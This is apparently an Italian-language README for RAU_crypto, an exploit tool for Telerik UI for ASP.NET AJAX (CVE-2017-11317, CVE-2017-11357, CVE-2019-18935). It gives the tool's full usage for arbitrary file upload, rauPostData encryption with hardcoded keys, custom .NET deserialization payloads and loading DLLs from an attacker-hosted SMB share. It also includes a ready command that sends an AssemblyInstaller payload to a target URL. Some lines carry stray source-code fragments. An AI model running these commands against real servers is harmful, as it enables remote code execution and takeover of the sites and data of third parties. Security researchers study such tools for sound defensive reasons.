
Telerik UI per ASP.NET AJAX - Exploit di caricamento file e deserializzazione .NET (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Exploit combinato per Telerik UI per ASP.NET AJAX.
Ora supporta il test della capacità del target di recuperare payload remoti da un servizio SMB ospitato dall'attaccante. Utilizza Burp Collaborator e/o Responder per facilitare la verifica dei prerequisiti necessari.
Affinché lo sfruttamento funzioni, in genere è necessaria una versione con chiavi hardcoded, oppure è necessario conoscere la chiave, ad esempio se si può divulgare il contenuto di web.config. L'exploit consente anche la decrittazione e la crittografia diretta dei rauPostData utilizzati con Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome o pip3 install pycryptodomexIl mio altro exploit per Telerik UI (per CVE-2017-9248) potrebbe probabilmente interessarti. È disponibile qui:
Nota - gli ultimi quattro elementi sono completi ma non rilasciati.
La vulnerabilità di caricamento file (CVE-2017-11317) è stata scoperta da altri, credo i crediti vadano a @straight_blast @pwntester @olekmirosh . Poco dopo l'annuncio, mi sono imbattuto nella libreria Telerik durante il mio lavoro, quindi l'ho studiata, ho analizzato la vulnerabilità e ho scritto questo exploit nel luglio 2017. Ho anche segnalato CVE-2017-11357 per il relativo riferimento diretto a oggetti non sicuro.
La vulnerabilità di deserializzazione .NET (CVE-2019-18935) è stata scoperta da @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
Per i dettagli sui payload personalizzati per la deserializzazione .NET, c'è un ottimo articolo di @mwulftange che ha scoperto questa vulnerabilità sul blog di Code White al seguente link.
Aggiornamento - Esiste un exploit alternativo di Caleb Gross @noperator, che incorpora funzionalità di questo exploit, con un ottimo articolo sul blog che spiega tutto. Grazie anche a Caleb per il contributo a RAU_Crypto.
Altri link rilevanti.
Esempio di payload di deserializzazione .NET:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Per la DLL in modalità mista, consulta il mio altro repository github:
Un ringraziamento speciale a @irsdl che ha ispirato la funzionalità del payload personalizzato.
Crediti a @rwincey che ha ispirato la funzionalità della DLL remota.